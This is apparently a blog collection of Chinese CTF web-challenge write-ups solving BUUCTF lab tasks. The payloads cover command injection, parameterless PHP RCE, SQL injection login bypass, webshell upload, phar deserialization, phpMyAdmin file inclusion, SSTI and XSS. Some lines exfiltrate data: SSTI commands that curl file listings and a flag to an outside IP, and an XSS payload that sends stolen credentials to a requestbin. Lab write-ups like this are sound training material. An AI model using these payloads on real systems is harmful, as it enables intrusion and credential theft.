进入题目后,提示了 /?ip=
,于是加上参数 ?ip=1
试试看,发现是执行了ping命令:
然后尝试:
?ip=;ls
发现成功执行了命令,但是当读取 flag.php 时,发现过了空格,尝试下面两种绕过方式
${IFS}
$IFS$9
使用第二个$IFS$9
代替空格成功绕过,执行 ?ip=;cat$IFS$9flag.php
,发现 flag 也被过滤了,且通配符 *
同样被过滤了,那我们先读一下 index.php
:
可以看到源码,的确过滤了一些特殊符号、空格和flag,下面有两种方式可以绕过:
(1)可以使用变量的方式来绕过,只要 f、l、a、g 四个字母不按照顺序即可,payload如下:
?ip=;z=g;cat$IFS$9fla$z.php
(2)我们发现代码中没有过滤反引号,那么可以内联执行命令,即用反引号内执行的输出作为另一个命令的输入执行,payload如下:
?ip=;cat$IFS$9`ls`
扫目录发现.git泄露,利用GitHack得到index.php源码如下:
include "flag.php";
echo "flag在哪里呢?
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
看到过滤部分可以看出是关于 PHP 的无参数RCE/读文件,可以参考我之前分析的 ByteCTF_2019 BoringCode
源码可以看出 flag.php 就在当前目录,不需要再跳转目录,于是使用如下payload列一下文件:
?exp=print_r(scandir(pos(localeconv())));
这里的flag.php不在最后一个,所以不能像ByteCTF那一题一样直接用 end()
函数,但是这一题并没有过滤下划线 _
,于是可操作性又增加了。
我们可以使用 array_reverse()
函数反转数组,这样 flag.php
就在第二个位置了,然后使用 next()
函数即可取到,payload如下:
?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
随手测试,通过回显可以发现存在 admin 账号,应该是通过注入登录 admin 账号,同时得到一段提示,先base32再base64如下:
select * from user where username = '$name'
尝试一般的万能密码,发现被过滤了,既然提示了我们sql语句,那么肯定是要根据sql语句来构造,于是猜测:
根据用户名查询到用户信息:$user = select * from user where username = '$name';
然后判断:$user->password === md5($password);
并且通过union联合注入测试出有3列,猜测为 id,username,password
,于是可以尝试如下payload:
name=-1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
上面的意思就是:-1不存在,联合查询的结果会是后面我们构造的 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'
,正好对应的数据库中的三列,也就构造了一个密码可控的admin用户返回。这里的md5值实际上也就是我们后面填在密码框中的任意密码。(md(1)=c4ca4238a0b923820dcc509a6f75849b)
从而实现了任意密码登录,可以得到flag:
进入题目后,直接是一个上传页面,经过测试发现:
image/jpeg
绕过然后上传 shell.jpg 如下:
注:这里网上有的wp说原题要条件竞争,但是我在buu上复现的时候好像不需要…
两个文件上传后便可以成功访问并执行代码:
在 disabled_functions 中禁用了系统函数,那么我们直接读文件就好了,先列目录:
?cmd=print_r(scandir('/'));
读文件:
?cmd=readfile('/flag');
首先是一个登录,使用弱密码 admin/password
即可成功登录,登陆后如下:
且url中有 ?file=upload
参数,于是尝试文件包含:
?file=php://filter/convert.base64-encode/resource=upload
得到 upload.php 源码如下:
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET[' ']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ //phar
$this->Filename = $_GET['name']; //文件名可控
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '
Master, I want to study rizhan!
';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:
".$uploader."
";
echo file_get_contents($uploader);
}
}
?>
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name']; //文件名可控
}else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
由上面的代码可以看到文件名我们是可以通过 name 参数传入的,虽然经过了过滤,但是这里的正则写的有问题,都多匹配了空格,所以等于没有过滤任何东西,导致了非预期。
中一种就是直接上传shell,然后通过参数name修改文件名问php文件,直接访问即可。
然后:
?cmd=system('cat ../../flag.php');
实际上这道题的预期解是通过phar反序列化,也就是利用了 file_get_contents() 函数来实现反序列化。
file_get_contents()
函数的参数是 Uploader()
类的一个对象,因此作为参数时会调用它的 __toString()
方法从而返回 $this->Filename
,而这个 Filename
是我们可控的。
还注意到上传文件的默认文件名是用 $_SESSION['user']
设置,因此我们随意上传一个文件就可以得到token的值了。
脚本如下:
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$this->cmd = "readfile('./flag.php')";
$this->token = "GXYc9a4bf152e1373381102b95a440f4968";
}
}
$o = new Uploader;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
将得到的phar文件上传得到路径:
然后再次上传文件并加上参数 name 从而除法phar发序列化:
进入页面后,发现如下算式:
看来需要写个脚本提交一千次正确答案,脚本如下:
import requests
import re
s = requests.Session()
url = "http://289777ed-2c71-46ec-ad64-00ba9f0b09e6.node3.buuoj.cn/index.php"
r = s.post(url)
count = 0
while count != 1001:
expr = re.search(r"(\d+)( \+ | - )(\d+)", r.text).group()
answer = eval(expr)
data = {"answer": answer}
while True:
r = s.post(url, data=data)
if r.status_code == 200:
break
count = count + 1
print(count)
print(r.text)
中间用While循环来提交请求是因为在 BUUCTF 平台上面跑的,没隔一段时间就会返回一次404好像…原题应该没必要这样
扫描目录可以发现 phpadmin,经过搜索,这里是CVE-2018-12613,可以直接使用vulhub里的poc:https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md
/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd
进入题目后,让猜字符串,通过js代码可以看到结果是发送的check.php,访问如下:
代码审计发现这里是考php的随机数种子爆破,参考2018SWPUCTF的一题:https://xz.aliyun.com/t/3656#toc-3
先使用如下脚本转换随机数:
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'aefhPEHpRX'
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1)-1) + ' '
break
print(res)
得到:
0 0 0 61 4 4 0 61 5 5 0 61 7 7 0 61 51 51 0 61 40 40 0 61 43 43 0 61
15 15 0 61 53 53 0 61 59 59 0 61
然后理由php-mt-seed工具,进行爆破种子如下:
然后再用得到的种子生成题目中要求的随机数即可:
mt_srand(50222027);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
进入题目后输入名字会进行回显,虽然是index.php的路由,但是从返回头可以看出是python的后端,那么就很想是SSTI了:
经过测试,过滤了{{}}
,只要使用就会报错,既然只能使用 {%%}
语句,那么很显然就需要盲注,我们构造payload如下:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].os.system('执行的命令') %}1{% endif %}
但是经过测试,if
、os
、class
、mro
这些关键词会被替换为空,发现config
也会被替换为空,这样我们就可以使用iconfigf
、oconfigs
的方式进行绕过,我们可以利用curl命令将执行结果带出(在BUUCTF里开一台内网的主机来操作),payload如下:
{% iconfigf ''.__clconfigass__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.__globals__['linecache'].oconfigs.system('curl http://174.0.225.32/?a=`ls \|base64`') %}1{% endiconfigf %}
{% iconfigf ''.__clconfigass__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.__globals__['linecache'].oconfigs.system('curl http://174.0.225.32/?a=`cat /flag_1s_Hera|base64`') %}1{% endiconfigf %}
进入题目后,先注册一个账号并登录:
只有两个功能,在FeedBack页面提交反馈和在List页面列出并查看已提交的反馈(List页面虽然有id参数,但是根据测试和提示,判断并无SQL注入)。
在FeedBack页面查看源码,可以看到如下提示:
if(is_array($feedback)){
echo "";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
过滤了很多字符,但是经过测试,绕过思路与你的名字那题类似,即在关键词中间插入cookie进行绕过,如使用 scricookiept 绕过 script 的过滤。
于是尝试盗取管理员Cookie,但是发现存在CSP,不能引入外部js:
于是查看./js/login,.s文件:
发现记住密码功能会从Cookie中提取用户名和密码,并赋给username和password,于是我们可以利用这个内部js构造如下payload:
<inpcookieut type="text" name="username">inpcookieut>
<inpcookieut type="text" name="password">inpcookieut>
<scricookiept scookierc="./js/login.js">scricookiept>
<scricookiept>
var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://http.requestbin.buuoj.cn/10l5f0o1?a="+res;
scricookiept>
我们利用buuctf提供的requestbin进行接收,也可以利用vps接收。
进入页面后,首先注册并登录进去,只有一个上传功能,我们看到url中有 page=index
参数,于是尝试一下文件包含,但是提示不是admin:
于是我们来看这个上传功能,虽然可以上传php文件,但是并没有给出路径,而且上传后会回显文件名,和RCTF 2015 upload一题很类似,于是我们尝试利用文件名进行二次注入。
首先测试一下过滤了哪些东西,随便上传一个文件然后抓包改文件名:
从文件名可以看到除了or以外都被替换为空了:
除此之外还过滤了一些其他关键词,不过经测试都可以用双写来绕过的,空格用嵌套括号绕过。
于是我们先构造一个payload如下,原理可以参考我RCTF那道题的Writeup。
'+(selselectect(conv(hex(substr(database(),1,5)),16,10)))+'
可以看到文件名返回了一串10进制,转16进制再转字符得到:bytect
。
然后修改substr截取的位置,得到数据库名:bytectf
。
(之所以要一段一段读是因为如果一次读太多的话会用科学计数法表示,就无法转回字符串了。)
用上述思路,我们可以一步步注入出管理员的密码:
表名payload:
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(table_name))frfromom(information_schema.tables)whewherere(table_schema='bytectf')),1,5)),16,10)))+'
依次移动截取的位置得到:
转字符串得到:
字段名注入类似,共有id、username、password、ip、admin五列。
最后我们可以用如下payload得到管理员密码:
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(password))frfromom(byte_user)whewherere(username='admin')),1,5)),16,10)))+'
不断拼接并转码得到md5:3814d79033f6fc9c1d3cf002a1f92100
在线网站可得到明文密码:kotori912
成功登录admin账户:
下面我们就先再试一下文件包含,获得提示:You can try to read picture file.
尝试上传文件发现会显示illegal ip
,但是Cookie里包含了cipher、plain、encrypt三个字段:
cipher=ZGRkZGhtZGRkZGhtT3J6MAQMOJb//iirvKap+mfDh7hTUOCjShL6T4pmnpOotVOJ
plain=eyJpc19hZG1pbiI6dHJ1ZSwiaXAiOmZhbHNlfQ==
encrypt=cbc
plain直接base64解密得到:
{"is_admin":true,"ip":false}
再结合cbc的提示,判断利用CBC字节翻转攻击将将ip的值转为true。
然后。。
然后就卡住了,一直没有成功…太菜了。。等之后密码学好一点再来分析